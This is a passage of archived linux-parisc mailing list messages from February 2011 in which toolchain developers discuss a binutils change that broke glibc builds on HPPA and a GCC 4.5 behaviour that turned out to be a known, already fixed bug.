 <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com>
 <20110217003032.GA26155@hiauly1.hia.nrc.ca> <20110217010912.GA26425@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1298007198 12710 80.91.229.12 (18 Feb 2011 05:33:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 05:33:18 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 06:33:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqIxs-0002Kf-BZ
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 06:33:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752034Ab1BRFdL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 00:33:11 -0500
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:34268 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750842Ab1BRFdL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 00:33:11 -0500
Original-Received: by fxm20 with SMTP id 20so3422162fxm.19
        for <linux-parisc@vger.kernel.org>; Thu, 17 Feb 2011 21:33:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=xQOUhtGTGaqvTZZp83/qs+eNF5B8/Ui+4LE5uykMlRE=;
        b=utixp5EB2s5mQbRMZECa/Q4RzfWGzY5EjzGCSmsOoyje/l/mFxPhgyC0M7mlaleJH1
         3s6wAOP1Che4hFjyg82L0kZiPQxYtWeIshGweZa+8aDfNczgns84lrfYSirzfbcE3hpn
         cgnB3avazCLtH3F5EdGcnmkUV0fGzeIHDKR84=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=BhFwaTkJMT/VxReaNt0lIqJ+pIRlgNQcnJu0GBkQZ0Dfsr4E+l0DtO6PJKTX/QNExM
         mGRIJp199tnXYX1W5bPqbbSx9ZGqUYecjmMUWTu5D/HRGFZN0gDwRR4ucz+bBZ2QyQ9G
         D/ifm8tGzXxQvlcugiEHaKPDB5Ze/DUyPPpeQ=
Original-Received: by 10.223.96.199 with SMTP id i7mr382623fan.101.1298007176206; Thu,
 17 Feb 2011 21:32:56 -0800 (PST)
Original-Received: by 10.223.115.140 with HTTP; Thu, 17 Feb 2011 21:32:36 -0800 (PST)
In-Reply-To: <20110217010912.GA26425@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: toEO46dV_omNDwlaRjcvhryw34M
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3468>

On Wed, Feb 16, 2011 at 8:09 PM, John David Anglin wrote:
> On Wed, 16 Feb 2011, John David Anglin wrote:
>> I would like to apply the following binutils change to align data
>> segments to a page boundary. =A0However, it breaks building glibc.
>> Problem occurs in call_init trying to run constructors for new
>> libc.so.6.
>
> It's probably not a glibc issue:
>
> /home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6=
: =A0 =A0 file
> format elf32-hppa-linux
>
> Contents of section .init_array:
> =A0159008 ffffffff 0015bee2 00000000 =A0 =A0 =A0 =A0 =A0 ............

glibc-2.12 and earlier (and perhaps 2.12.[12] too) are known to be
miscompiled by binutils versions newer than 2.21.50.xxx.  the issue
has been fixed in glibc-2.13 though ...

http://bugs.gentoo.org/351177
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.5 regression
Date: Fri, 18 Feb 2011 00:37:08 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <AANLkTimxw1_eK7v_tdKQa5nMw=d02jBdKnNOdUVe8oV_@mail.gmail.com>
References: <20110217201523.2da3b41a@zombie> <AANLkTinte7Msj3ZJBGH8bQ2_PYud76vOh0ojQb9etwT7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1298007702 14607 80.91.229.12 (18 Feb 2011 05:41:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 05:41:42 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 06:41:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqJ61-0007o0-QZ
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 06:41:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750842Ab1BRFlh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 00:41:37 -0500
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:51799 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750750Ab1BRFlg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 00:41:36 -0500
Original-Received: by fxm20 with SMTP id 20so3425910fxm.19
        for <linux-parisc@vger.kernel.org>; Thu, 17 Feb 2011 21:41:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:from
         :date:x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=nVV9HBUpZVpCsEfg+8XAT+3bzNEGoaqsHQtfCijT/os=;
        b=iqTFEF2IXBuUg+pcejOzEDLCU45GPTkb7Z0z3Os51nE9fV87XUbhNB2lmCcJTSdgu0
         cO3f71/AzaLGRPbYYvwrddydRaZefKQPfvvB97WVmF0CpMB3ObSG4n0RDd45CYJwRqV5
         sabfL5Y+1qYegRw9wjOUGkI0vDgLSq7l2XRms=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        b=B1TuG0fm/jQ31S4zo1LjBB7/3KLPAYXrHkZvltFR7NC68ZNd5PpGgBCoQzj203xHPQ
         ZoGT6+Hq6xz5YP7nDKw0YUz1GV52SdUt0GQnCcmF73UYDtpa4M6Bj3SNvuWDGkOQNVBK
         D1N+ZMjtBWO/RrRoFRX9yiyPy4SvVDiyeN440=
Original-Received: by 10.223.104.71 with SMTP id n7mr376272fao.120.1298007448915; Thu,
 17 Feb 2011 21:37:28 -0800 (PST)
Original-Received: by 10.223.115.140 with HTTP; Thu, 17 Feb 2011 21:37:08 -0800 (PST)
In-Reply-To: <AANLkTinte7Msj3ZJBGH8bQ2_PYud76vOh0ojQb9etwT7@mail.gmail.com>
X-Google-Sender-Auth: dFJObY8iBJAMau9qaebCekZlAhE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3469>

On Thu, Feb 17, 2011 at 8:28 PM, Matt Turner wrote:
> On Thu, Feb 17, 2011 at 7:15 PM, Guy Martin wrote:
>> I've attached a reduced test case. The program is supposed to
>> segfault because of a stack overflow. However, with 4.5, it just hangs.
>> It seems that 4.5 simply over-optimize the function and replaces it
>> with a single jump.
>
> http://bugs.gentoo.org/show_bug.cgi?id=340923
>
> It's known and fixed. It's not a gcc regression, nor is it
> HPPA-specific (didn't you try to confirm that it was HPPA-specific? :)
>
> The reason you're hitting it is that you've keyworded gcc-4.5.2, but
> aren't running a full ~hppa system. vapier doesn't seem to acknowledge
> that this is a reasonable, sensible, or even common configuration.

that's because it is not.  there's a difference between running brand
new bleeding edge versions of the toolchain on a stable system all the
time and running them for the stabilization process.  inevitably every
gcc/glibc/kernel header upgrade in ~arch breaks a shit ton of stable
packages (and even unstable packages), the vast majority of which will
be fixed by those packages stabilizing a new version as natural
progression by the time the toolchain versions have settled for
stabilization.
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 09:39:01 -0500 (EST)
Lines: 64
Approved: news@gmane.org
Message-ID: <20110218143901.B1ADB4E51@hiauly1.hia.nrc.ca>
References: <AANLkTikL=ANnoEE6=orNbqkinW4-pEngWKh6UkBLWx5v@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1298039956 15025 80.91.229.12 (18 Feb 2011 14:39:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 14:39:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 15:39:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqRU9-0005zd-P4
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 15:39:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753780Ab1BROjE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 09:39:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3017 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751977Ab1BROjE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 09:39:04 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B1ADB4E51; Fri, 18 Feb 2011 09:39:01 -0500 (EST)
In-Reply-To: <AANLkTikL=ANnoEE6=orNbqkinW4-pEngWKh6UkBLWx5v@mail.gmail.com> from "Mike Frysinger" at Feb 18, 2011 00:32:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3470>

> On Wed, Feb 16, 2011 at 8:09 PM, John David Anglin wrote:
> > On Wed, 16 Feb 2011, John David Anglin wrote:
> >> I would like to apply the following binutils change to align data
> >> segments to a page boundary. =A0However, it breaks building glibc.
> >> Problem occurs in call_init trying to run constructors for new
> >> libc.so.6.
> >
> > It's probably not a glibc issue:
> >
> > /home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6: =
> =A0 =A0 file
> > format elf32-hppa-linux
> >
> > Contents of section .init_array:
> > =A0159008 ffffffff 0015bee2 00000000 =A0 =A0 =A0 =A0 =A0 ............
> 
> glibc-2.12 and earlier (and perhaps 2.12.[12] too) are known to be
> miscompiled by binutils versions newer than 2.21.50.xxx.  the issue
> has been fixed in glibc-2.13 though ...
> 
> http://bugs.gentoo.org/351177

While this is probably the same issue, there is no debugging of the segv
in the above bug report or in the referenced bugzilla report:
http://sourceware.org/bugzilla/show_bug.cgi?id=12379

I filed this report last night:
http://sourceware.org/bugzilla/show_bug.cgi?id=12499

My analysis indicates the segv is a binutils issue.  It was likely
introduced by the following change:

2010-12-15  H.J. Lu  <hongjiu.lu@intel.com>

        * Makefile.am (GENSCRIPTS): Add @enable_initfini_array@.

	* NEWS: Mention SORT_BY_INIT_PRIORITY.

	* configure.in: Add AC_CANONICAL_BUILD.
	Add --enable-initfini-array.

	* genscripts.sh (ENABLE_INITFINI_ARRAY): New.
	...

Binutils should not merge the special function pointers used to mark
the start and end of the .ctors/.dtors lists.  This could be tested
for in libc, but this is inefficient.  On architectures that use
function descriptors, function pointer comparisons are messy.  Do
we want to call the infamous cffc in the dynamic loader?  Casts of
function pointers to integer types are implementation defined and
pointer sizes can vary.  So, the simple hack could break.

In my opinion, binutils should be fixed to work with old glibc
versions.  There is a work around in my binutils PR.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.5 regression
Date: Fri, 18 Feb 2011 16:17:02 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20110218161702.225fc031@borg.bxl.tuxicoman.be>
References: <20110217201523.2da3b41a@zombie>
	<AANLkTinte7Msj3ZJBGH8bQ2_PYud76vOh0ojQb9etwT7@mail.gmail.com>
	<AANLkTimxw1_eK7v_tdKQa5nMw=d02jBdKnNOdUVe8oV_@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1298042242 28705 80.91.229.12 (18 Feb 2011 15:17:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 15:17:22 +0000 (UTC)
Cc: Matt Turner <mattst88@gmail.com>, linux-parisc@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 16:17:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqS54-0006QW-Ng
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 16:17:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752623Ab1BRPRM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 10:17:12 -0500
Original-Received: from luna.schedom-europe.net ([193.109.184.86]:54676 "EHLO
	luna.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751332Ab1BRPRL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 10:17:11 -0500
Original-Received: (qmail 21505 invoked by uid 507); 18 Feb 2011 16:17:08 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	luna.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by luna.schedom-europe.net with SMTP; 18 Feb 2011 16:17:03 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.74)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PqS4s-0001Hd-Nr; Fri, 18 Feb 2011 16:17:02 +0100
In-Reply-To: <AANLkTimxw1_eK7v_tdKQa5nMw=d02jBdKnNOdUVe8oV_@mail.gmail.com>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3471>

> > http://bugs.gentoo.org/show_bug.cgi?id=340923
> >
> > It's known and fixed. It's not a gcc regression, nor is it
> > HPPA-specific (didn't you try to confirm that it was
> > HPPA-specific? :)

My mistake. I hardly come accross non-hppa specific bugs :)

> >
> > The reason you're hitting it is that you've keyworded gcc-4.5.2, but
> > aren't running a full ~hppa system. vapier doesn't seem to
> > acknowledge that this is a reasonable, sensible, or even common
> > configuration.
>
> that's because it is not.  there's a difference between running brand
> new bleeding edge versions of the toolchain on a stable system all the
> time and running them for the stabilization process.  inevitably every
> gcc/glibc/kernel header upgrade in ~arch breaks a shit ton of stable
> packages (and even unstable packages), the vast majority of which will
> be fixed by those packages stabilizing a new version as natural
> progression by the time the toolchain versions have settled for
> stabilization.
> -mike

Kinda makes sens but it's probably not the right list to
discuss.

In any case, thanks everybody for the feedback. I'm quite happy this is
not a gcc issue !

  Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 10:28:22 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <AANLkTi=BekT-21PcsG_==PkvjiLcwsi14x3dA+wEFxrA@mail.gmail.com>
References: <AANLkTikL=ANnoEE6=orNbqkinW4-pEngWKh6UkBLWx5v@mail.gmail.com>
	<20110218143901.B1ADB4E51@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1298042913 32590 80.91.229.12 (18 Feb 2011 15:28:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 15:28:33 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, dave.anglin@nrc-cnrc.gc.ca,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 16:28:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqSFt-0005Ar-Pf
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 16:28:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753087Ab1BRP2Z convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 10:28:25 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:56086 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751209Ab1BRP2Y convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 10:28:24 -0500
Original-Received: by bwz15 with SMTP id 15so821906bwz.19
        for <linux-parisc@vger.kernel.org>; Fri, 18 Feb 2011 07:28:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=9tKGtkDVXcQS4PYONjtLnzGraKy8tYxjGmkqYSSI5YE=;
        b=bEfL+FEK7Tjk1KYRKmSvDs2dpV98mFMzfQ4291nTJ4Pq50nEWAurB3IMBbo03GLTMN
         QEfJqmSEv8mkTl9zgvBzAguD3dOCnhKMX4KF5lmW9cUXMwqIrz9MGnoXVbKG/2FGRqqA
         aIYOeqBMGdW+hIUMxWbxpvWszSgFi4Xjs/29k=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=VVXkRmZTZZnAEpz7fjRHwwb0vYuPzJ7ixF7q7Fu9MFH69RL7pMN6plErG41UR5iFDu
         ozJtox9CtM8Z6c2W5r6W9dScqOmDbeRZDBCaidua0R0ZOW2QPYujNneUSUYvyFLt526f
         jNIWxz3GfZlyPHnq0mZRQVBOu9h8AtM+hzPDc=
Original-Received: by 10.204.46.130 with SMTP id j2mr806313bkf.169.1298042902850; Fri,
 18 Feb 2011 07:28:22 -0800 (PST)
Original-Received: by 10.204.69.130 with HTTP; Fri, 18 Feb 2011 07:28:22 -0800 (PST)
In-Reply-To: <20110218143901.B1ADB4E51@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 2Bj-NLdAHok1vDr-n0UrgWocboU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3472>

On Fri, Feb 18, 2011 at 9:39 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Binutils should not merge the special function pointers used to mark
> the start and end of the .ctors/.dtors lists. =A0This could be tested
> for in libc, but this is inefficient. =A0On architectures that use
> function descriptors, function pointer comparisons are messy. =A0Do
> we want to call the infamous cffc in the dynamic loader? =A0Casts of
> function pointers to integer types are implementation defined and
> pointer sizes can vary. =A0So, the simple hack could break.
>
> In my opinion, binutils should be fixed to work with old glibc
> versions. =A0There is a work around in my binutils PR.

I would like __cffc to eventually go away. It's only required because
of the incorrectly implemented PLABEL support in binutils. A PLABEL in
the executable should not be resolved to a PLT entry, it should remain
a relocation for the dynamic loader to resolve. Once that's fixed,
eventually __cffc will go away. That's a project that is only agenda
after some glibc cleanup.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 13:40:31 -0500
Organization: nrc.ca
Lines: 23
Approved: news@gmane.org
Message-ID: <20110218184030.GA15510@hiauly1.hia.nrc.ca>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca> <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca> <20110215015852.GA6615@hiauly1.hia.nrc.ca> <AANLkTimZntmJQ5msVr56=V7P8pYGXizpVGinZYrvBsSt@mail.gmail.com> <20110217003032.GA26155@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1298054444 4222 80.91.229.12 (18 Feb 2011 18:40:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 18:40:44 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James.Bottomley@hansenpartnership.com, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 19:40:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqVFq-0003mT-OX
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 19:40:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752791Ab1BRSkd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Feb 2011 13:40:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3145 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752729Ab1BRSkd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Feb 2011 13:40:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DE9C94DF4; Fri, 18 Feb 2011 13:40:31 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110217003032.GA26155@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3473>

On Wed, 16 Feb 2011, John David Anglin wrote:

> I would like to apply the following binutils change to align data
> segments to a page boundary.  However, it breaks building glibc.
> Problem occurs in call_init trying to run constructors for new
> libc.so.6.

After investigation, I found that the change to emulparams/hppalinux.sh
was not the cause of the glibc breakage.  So, I have committed the change
to align data segments to a maxpagesize boundary (currently 0x1000).

This fixes one source of inequivalent aliases at the expense of
somewhat larger binaries.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 14:39:57 -0500
Lines: 28
Approved: news@gmane.org
